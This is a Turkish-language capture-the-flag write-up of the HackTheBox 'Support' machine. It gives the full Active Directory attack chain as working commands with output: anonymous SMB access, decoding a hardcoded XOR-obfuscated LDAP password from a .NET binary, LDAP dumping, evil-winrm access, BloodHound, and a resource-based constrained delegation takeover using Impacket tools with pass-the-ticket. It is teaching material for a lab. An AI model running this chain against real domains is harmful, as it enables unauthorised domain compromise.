// CLASSIFIED // OFFENSIVE OPS // YETKİLİ PERSONEL DIŞINA ÇIKMAZ //
SYS ONLINE
SES --------
UPLINK SECURE
COORD --.----°N ---.----°W
----.--.--
--:--:-- UTC
MUCAHIC
// Offensive Operations Division, EST. 2026
HTB / WRITE-UP CTF · EASY Support Active Directory .NET RE LDAP RBCD S4U2Proxy

Support: .NET Binary'den DC'ye

Karşımda bir Windows Active Directory Domain Controller. Açık portlar Kerberos, LDAP, SMB, WinRM. SMB'de anonim erişimle inebileceğim support-tools paylaşımı, içinde bir UserInfo.exe. Binary .NET. monodis ile IL koduna inip "armando" anahtarı ve 0xDF XOR'u görüyorum, içinden bir LDAP şifresi çıkıyor. LDAP'ı dump edince bir kullanıcının info alanına açık metin şifre yazılmış. WinRM ile user'a giriyorum, BloodHound oklarını takip edince Shared Support Accounts grubunun DC$ üzerinde GenericAll yetkisi olduğunu görüyorum. Sonu klasik: Resource-Based Constrained Delegation ile DC'de Administrator. Yolun her adımını, kullandığım her aracın neyi neden yaptığını bu yazıda anlatıyorum.

Operatör
OP-0042 / MUCAHIC
Yayın
2026.05.21
Okuma
~ 17 DK
Dosya ID
MU-012-SUPPORT

Ekrana baktım, IP'yi gördüm, nmap'i çalıştırdım. Sonuçlar gelmeye başladığında içimde küçük bir heyecan oluştu, çünkü karşımdaki sıradan bir Linux kutusu değildi. Kerberos vardı, LDAP vardı, SMB vardı, WinRM vardı. Liste devam ettikçe netleşti: karşımda bir Active Directory Domain Controller var. Windows dünyasına ilk gerçek adımımı atıyordum, üstelik bir Easy makinede.

Bu yazı, baştan sona o makinenin (HackTheBox / Support) çözüm hikayesi. SMB'de unutulmuş bir paylaşımdan başlıyor, .NET binary'sinin IL koduna iniyor, LDAP dumping ile bir info alanından şifre çıkartıyor, WinRM ile içeri giriyor, sonra BloodHound oklarını takip ederek Resource-Based Constrained Delegation (RBCD) ile DC'de Administrator olmakla bitiyor. Her adımda neyi neden yaptığımı, kullandığım araçlardan hangisinin sahibi olduğumu (çoğu Impacket), bug'ların neden çalıştığını anlatmaya çalıştım.

Keşif: Karşımda Bir DC Var

Her şey gibi bu da nmap ile başlar. -sC -sV kombinasyonu varsayılan script taraması ve servis sürümlerini birlikte verdiği için ilk geçiş için en bilgilendirici komut, ben de oradan başladım:

$ nmap -sC -sV -oN nmap_initial.txt 10.129.2.5
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos
135/tcp   open  msrpc        Microsoft Windows RPC
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP
                              (Domain: support.htb)
445/tcp   open  microsoft-ds?
5985/tcp  open  http         Microsoft HTTPAPI (WinRM)

Port listesine bakar bakmaz iki şey netleşti. Birincisi, port 88 Kerberos demek, Kerberos demek de neredeyse her zaman bir Domain Controller demek. Nmap zaten LDAP banner'ında domain adını bile veriyor: support.htb. İkincisi, WinRM (5985) açık. Yani eğer bir kullanıcı kimliği bulabilirsem doğrudan PowerShell ile uzaktan shell alabilirim, RDP gibi GUI'ye düşmeden.

Domain adını ve hostname'i hosts dosyasına eklemeyi unutmadım, ileride dc.support.htb diye çağırınca DNS sorunu yaşamayayım diye:

$ echo "10.129.2.5 support.htb dc.support.htb" | sudo tee -a /etc/hosts

SMB'de Şüpheli Bir Paylaşım

AD makinelerinde benim ilk reflexim SMB'yi yoklamak. SMB anonim erişim çoğu zaman küçük bir kapı ama girdiğinde sürpriz şeyler bulabiliyorsun, paylaşım listesi, eski script'ler, bazen de yanlışlıkla unutulmuş dosyalar. smbclient ile baktım:

$ smbclient -L //10.129.2.5 -N

  Sharename       Type      Comment
  ---------       ----      -------
  ADMIN$          Disk      Remote Admin
  C$              Disk      Default share
  IPC$            IPC       Remote IPC
  NETLOGON        Disk      Logon server share
  SYSVOL          Disk      Logon server share
  support-tools   Disk      support staff tools

Diğerleri standart AD paylaşımları, anonim olarak içlerine giremem. Ama support-tools farklı, "support staff tools" yorumuyla özel açılmış. Bu tür "biz ekibimiz için açtık" tarzı paylaşımlar tarihin her döneminde sızıntı kaynağı olmuştur. Hemen içine baktım:

$ smbclient //10.129.2.5/support-tools -N
smb: \> ls
  7-Zip                  D
  npp.8.4.1.Installer.x64.exe       277499
  putty.exe                          1273808
  SysinternalsSuite.zip            48102161
  windirstat1_1_2_setup.exe        79740
  WiresharkPortable64.zip        44398900
  UserInfo.exe.zip                 277499

smb: \> get UserInfo.exe.zip

Dosyaların büyük çoğunluğu sıradan IT araçları (7-Zip, PuTTY, Notepad++, Wireshark). Ama UserInfo.exe.zip bambaşka bir hava veriyor, böyle özel bir dosya bir IT toolkit'ine ait değil. İşte burayı kaşıyacağım.

$ unzip UserInfo.exe.zip -d UserInfo/
$ file UserInfo/UserInfo.exe
UserInfo/UserInfo.exe: PE32 executable for MS Windows, Intel i386 Mono/.Net assembly

.NET assembly. Yani C# (büyük ihtimalle) derlenmiş bir Mono/.NET binary. Bu hediye olarak gelmiş çünkü .NET binary'leri tersine mühendislik açısından çocuk oyuncağı, IL kodunu okumak makine kodunu okumaktan kat kat kolay.

.NET Binary Tersine: monodis ve XOR Bilmecesi

Linux tarafında .NET binary'lerini inceleyenler için iki klasik araç var: monodis (Mono'nun disassembler'ı) ve dnSpy (Windows GUI). Ben hızlı baktığım için monodis ile başladım:

$ monodis UserInfo.exe | less

IL (Intermediate Language) kodu açıldı. .NET'in "byte code"u, JVM'in bytecode'una benzer ama biraz daha okunabilir. Sınıflar arasında dolaşırken Protected adlı sınıfın static constructor'ında iki tane ldstr (load string) çağrısı dikkatimi çekti:

// UserInfo.Services.Protected
ldstr "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
stsfld string UserInfo.Services.Protected::enc_password

ldstr "armando"
stsfld unsigned int8[] UserInfo.Services.Protected::key

İki şey net: birincisi enc_password diye bir alan var, içinde sonu = ile biten bir string, base64 kokusu kuvvetli. İkincisi key alanına "armando" string'i atanmış. Demek ki bir yerde bu enc_password bu key ile çözülüyor. getPassword() metoduna baktım:

// IL pseudo-translation
data = Convert.FromBase64String(enc_password);
for (int i = 0; i < data.Length; i++) {
    V_1[i] = data[i] XOR key[i % key.Length] XOR 223;
}
return Encoding.Default.GetString(V_1);

Algoritma çok şaşırtıcı değil: base64 decode, sonra her byte'ı önce key'in tekrarlanan karakterleriyle XOR, sonra sabit 223 (0xDF) ile XOR. Klasik obfuscation, kriptografi değil. Python'da 3 satır:

$ python3
>>> import base64
>>> enc = '0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E'
>>> key = b'armando'
>>> data = base64.b64decode(enc)
>>> pw = bytes([data[i] ^ key[i % len(key)] ^ 0xDF for i in range(len(data))])
>>> print(pw.decode())
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Şifre çıktı. Programın geri kalanını okuyunca ortaya net bir resim çıktı: bu uygulama support\ldap hesabıyla LDAP'a bağlanıyor, kullanıcı listesi çekiyordu. Yani elimde hem kullanıcı adı (support\ldap) hem de şifre var. Bu şifre LDAP read-only erişimi vereceğine göre, LDAP'ı yetkili olarak dump edebilirim demek.

// ders: Bir binary'nin içine "şifreleme" diye XOR koymak güvenlik değil, sadece okuyana bir kaç dakika kaybetiriyor. Eğer bir credential binary'de gömülecekse, hiçbir yerde gizlenemez. Tek doğru cevap: credential'ı binary'nin dışında, sırlar yönetimi sistemi (Vault, GMSA gibi) üzerinden çekmek.

LDAP Dumping: info Alanı'ndaki Sürpriz

LDAP'ı authenticate user olarak dump etmek, AD'de en bilgilendirici keşif adımlarından biri. Çünkü LDAP, AD'nin "telefon rehberi" gibi: tüm kullanıcılar, gruplar, computer hesapları, OU yapıları orada duruyor. Üstelik bazı kullanıcılar attribute'larına aklı havada şeyler yazmış olabiliyor. Ben ldapsearch ile baktım:

$ ldapsearch -x -H ldap://10.129.2.5 \
    -D "support\ldap" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
    -b "DC=support,DC=htb" \
    "(objectClass=user)" sAMAccountName info

Dump dökülürken bir kullanıcının çıktısı diğerlerinden farklıydı:

# tipik kullanici, bos info:
sAMAccountName: ldap
info:

# sonra...
sAMAccountName: support
info: Ironside47pleasure40Watchful

Bir kullanıcının info alanına açık metin şifre yazılmış. Sysadmin bunu büyük ihtimalle bir hatırlatma olarak koymuş, sonra unutmuş, ya da fark etmemiş. Şu sebepten kritik: AD'de info alanı Account Operators, Domain Users, hatta authentication yapan herhangi bir kullanıcı tarafından okunabiliyor. Yani şifreyi tüm domain görüyor.

Çoğu zaman bu tarz çıktıyı gözden kaçırmamak için ben şu basit grep'i kullanıyorum: ldapsearch ... | grep -B 5 'info:' böylece info dolu olan her kayıt, hemen üstündeki 5 satırla birlikte gelir. Bu makinede info dolu olan tek user support'tu.

WinRM ile İçeri ve user.txt

Şifre elimde, kullanıcı adı support. WinRM (5985) açıktı, demek evil-winrm kullanmak en hızlı yol. Bu araç PowerShell over WinRM bağlantısı kurup interaktif shell veriyor, file upload/download, alias, hepsi içinde:

$ evil-winrm -i 10.129.2.5 -u support -p 'Ironside47pleasure40Watchful'

Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\support\Documents> whoami
support\support

*Evil-WinRM* PS C:\Users\support\Documents> type ..\Desktop\user.txt
// USER FLAG

User flag tamam. Şimdi sıra DC'yi kontrol etmekte.

BloodHound: Yetki Haritasını Çıkartmak

AD'de privilege escalation'ın anahtarı genelde tek bir komutta gizlenmiyor, bir ilişkiler ağında gizleniyor. "Hangi kullanıcı hangi grubun üyesi, o grubun hangi nesne üzerinde ne yetkisi var, o nesne hangi başka şeye eriştiriyor" sorularının cevabı bir grafik veritabanında çok daha hızlı bulunuyor. BloodHound tam bu işi yapıyor.

bloodhound-python ile veriyi toplayıp BloodHound GUI'ye verdim:

$ bloodhound-python -u support -p 'Ironside47pleasure40Watchful' \
    -d support.htb -ns 10.129.2.5 -c All --zip

[*] Connecting to LDAP server: support.htb
[*] Found 1 domains
[*] Connecting to GC LDAP server: support.htb
[*] Found 18 users
[*] Found 53 groups
[*] Compressing output into 20260521_bloodhound.zip

BloodHound'da support kullanıcısını "Mark as Owned" diye işaretledim, sonra "Find Shortest Paths to Domain Admins" sorgusunu çalıştırdım. Ekranda iki düğümlü çok kısa bir ok çıktı:

SUPPORT@SUPPORT.HTB
   │
   ↓ MemberOf
SHARED SUPPORT ACCOUNTS@SUPPORT.HTB
   │
   ↓ GenericAll
DC$@SUPPORT.HTB

Tek bir hop'ta domain controller hesabı. support kullanıcısı Shared Support Accounts grubunun üyesi, o grup DC$ bilgisayar hesabı üzerinde GenericAll yetkisine sahip. GenericAll AD'de bir nesne üzerinde alabileceğin en geniş yetkilerden biri, neredeyse "sahibi gibi davran" demek.

BloodHound'un sağ panelinde bu yolu nasıl kullanacağına dair hazır bir rehber bile var: "Use Resource-Based Constrained Delegation to escalate." Yani araç bana RBCD'yi gösteriyor.

RBCD Acaba Ne, Neden Çalışıyor?

RBCD'yi de bu makineye gelene kadar yalnızca konferans slaytlarında görmüştüm, hiç pratik yapmamıştım. Hep beraber bakalım.

Kerberos'un içinde delegation denen bir kavram var. Düşün, kullanıcı bir web servisine bağlanıyor. Bu web servisi onun adına başka bir backend servise istek atmak istiyor (mesela MSSQL). Klasik yöntem: kullanıcı kendi credential'ını web servisine veriyor, web servisi onun adına bağlanıyor. Bu güvensiz, çünkü web servisi şimdi kullanıcının şifresini taşıyor.

Kerberos bunu daha temiz yapmak için delegation mekanizmasını sundu: web servisi kullanıcıdan değil, KDC'den (Kerberos dağıtım sunucusu) "ben kullanıcı adına şuna bağlanacağım" diye bir ticket istiyor, KDC ona bu ticket'ı veriyor. Resource-Based Constrained Delegation (RBCD) bu modelin daha esnek bir versiyonu, Windows Server 2012'de geldi. Eskisinden farkı şu: hangi hesap kime delegation yapabilir bilgisi hedef nesnenin kendi attribute'unda saklanıyor, ismi msDS-AllowedToActOnBehalfOfOtherIdentity.

Pratikte bu attribute şu demek: "Şu attribute'da yazılan hesap, benim adıma S4U2Proxy ile herhangi bir kullanıcıyı taklit edebilir."

Şimdi bizim durumumuza dön: DC$ bilgisayar hesabının msDS-AllowedToActOnBehalfOfOtherIdentity attribute'unu değiştirme yetkimiz var (GenericAll sayesinde). Bu attribute'a kendi kontrol ettiğimiz bir bilgisayar hesabını yazarsak, o hesap DC$ adına Kerberos bilet talep edebilir, ve hangi kullanıcıyı taklit etmek istersek, Administrator dahil. Domain'in kralı.

// neden çalışıyor: AD'de MachineAccountQuota default değeri 10. Yani herhangi bir domain user'ı 10 taneye kadar bilgisayar hesabı oluşturabiliyor, ekstra yetki gerekmiyor. Bu hesap kendi şifresini biz belirliyoruz, dolayısıyla "kontrol ettiğimiz bir bilgisayar hesabı" üretmek çocuk oyuncağı. Sertifika gerekmiyor, başka admin onayı gerekmiyor. Bu özelliği bir ofansif operatör olarak en sevdiğim varsayılan ayarlardan biri.

Adım Adım Saldırı: FAKE$ Doğuyor

Bütün araçlar Impacket koleksiyonundan, bu pentest dünyasında neredeyse standart hâline gelmiş Python kütüphanesi. RBCD saldırısı için üç araç gerekti: addcomputer.py (sahte makine hesabı yarat), rbcd.py (DC$'nin attribute'unu güncelle), getST.py (S4U2Proxy ile ticket al).

Adım 1: Sahte Bilgisayar Hesabı

İlk iş kontrol edeceğim makine hesabını oluşturmak. FAKE$ isminde, şifresini ben verdim:

$ python3 addcomputer.py \
    -computer-name 'FAKE$' \
    -computer-pass 'FakePass123!' \
    -dc-host support.htb \
    support.htb/support:'Ironside47pleasure40Watchful'

[*] Successfully added machine account FAKE$ with password FakePass123!

Bu noktada FAKE$ domain'de var, normal bir makine hesabı gibi. Kimsenin dikkatini çekmez, çünkü ortalama bir AD'de düzinelerce makine hesabı vardır.

Adım 2: DC$'nin Attribute'unu Yaz

Şimdi DC$ üzerinde msDS-AllowedToActOnBehalfOfOtherIdentity'yi FAKE$ içerecek şekilde güncelliyoruz. Bunu Impacket'ın rbcd.py aracı tek komutta hallediyor:

$ python3 rbcd.py \
    -delegate-from 'FAKE$' \
    -delegate-to 'DC$' \
    -action write \
    -dc-ip 10.129.2.5 \
    support.htb/support:'Ironside47pleasure40Watchful'

[*] FAKE$ can now impersonate users on DC$ via S4U2Proxy

Bir cümle, ama altında olan iş şu: support kullanıcısı GenericAll yetkisiyle DC$ nesnesinde değişiklik yapma hakkı bulduğu için, attribute'a yazma yetkisi var. rbcd.py de bu yetkiyi kullanarak attribute'ı bizim için güncelliyor.

S4U2Proxy: Administrator Adına Ticket

Adım 3: getST.py ile Bilet Al

Şimdi FAKE$ olarak Kerberos'a "ben Administrator adına cifs/dc.support.htb servisine ticket istiyorum" diyoruz. Bu işi Impacket'ın getST.py aracı yapıyor:

$ python3 getST.py \
    -spn 'cifs/dc.support.htb' \
    -impersonate Administrator \
    -dc-ip 10.129.2.5 \
    'support.htb/FAKE$:FakePass123!'

[*] Getting TGT for FAKE$
[*] Impersonating Administrator
[*]   Requesting S4U2self
[*]   Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

Burada iki Kerberos uzantısı arka arkaya çalışıyor:

Sonunda elimde cifs/dc.support.htb servisi için Administrator yetkili bir Kerberos ticket'ı. Bu ticket diskte .ccache dosyası olarak duruyor.

Adım 4: Pass-the-Ticket

Ticket'ı KRB5CCNAME ortam değişkenine işaret ettim, böylece Impacket araçları bunu otomatik kullanacak. Sonra wmiexec.py ile DC'ye Kerberos auth ile bağlanıp komut çalıştırdım:

$ export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

$ python3 wmiexec.py \
    -k -no-pass \
    -dc-ip 10.129.2.5 \
    support.htb/Administrator@dc.support.htb \
    'type C:\Users\Administrator\Desktop\root.txt'

Root ve Çıkış

// ROOT FLAG

Saldırı Zinciri, Tek Bakışta

nmap -> Kerberos / LDAP / SMB / WinRM
   |
   v
SMB anonim -> support-tools paylasimi -> UserInfo.exe.zip
   |
   v
.NET binary -> monodis IL
   -> enc_password (base64) + key="armando" + XOR 0xDF
   -> LDAP sifresi: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
   |
   v
LDAP dump (support\ldap)
   -> support user info: Ironside47pleasure40Watchful
   |
   v
WinRM -> support user shell -> user.txt
   |
   v
BloodHound -> Shared Support Accounts -> GenericAll DC$
   |
   v
RBCD:
  1. addcomputer.py -> FAKE$
  2. rbcd.py        -> DC$.msDS-AllowedToActOnBehalfOfOtherIdentity = FAKE$
  3. getST.py       -> S4U2Self + S4U2Proxy -> Administrator ticket
  4. wmiexec.py -k  -> DC'de Administrator
   |
   v
root.txt

Zafiyetler Tablosu

# Zafiyet Etki Sınıf
1 SMB anonim erişimde özel paylaşım Hassas binary indirme SMB Misconfiguration
2 .NET binary'de hardcoded LDAP credential XOR ile çözülen şifre Insecure Credential Storage
3 LDAP info alanında açık metin şifre Domain-wide görünen şifre Credential Management
4 Shared Support Accounts -> GenericAll DC$ DA-equivalent yetki Excessive AD Privileges
5 MachineAccountQuota = 10 (varsayılan) RBCD için sahte hesap üretimi AD Default Misconfiguration

Bana Bıraktıkları

Bu makine bana iki şeyi net şekilde gösterdi. Birincisi, AD'de saldırının çoğunlukla "tek bir CVE" yerine bir varsayılan ayarlar zinciri üzerinden ilerlediği. SMB anonim, MachineAccountQuota, GenericAll, S4U2Proxy, hepsi tek tek "öyle gelmiş öyle gidiyor" şeyler. Birleşince DC'nin kapısı açılıyor.

İkincisi, .NET binary'lerinin ne kadar şeffaf olduğu. C ile yazılmış bir program reverse etmek için gdb, IDA, sabır lazım. .NET ile yazılmış bir program monodis ile saniyede neredeyse C# seviyesinde okunur hale geliyor. Bu yüzden .NET'te asla, asla, asla credential gömme. Eğer gömmen gerekiyorsa, "XOR ile gizledim" bir savunma değil, sadece okuyana bir kahve içme zamanı tanıyor.

Yazıyı okuduğun için teşekkürler. Yanlış bulduğun, eklemek istediğin, sormak istediğin bir şey olursa Twitter veya mail her zaman açık.

// RAPOR SONU, MUCAHIC / OP-0042 / 2026.05.21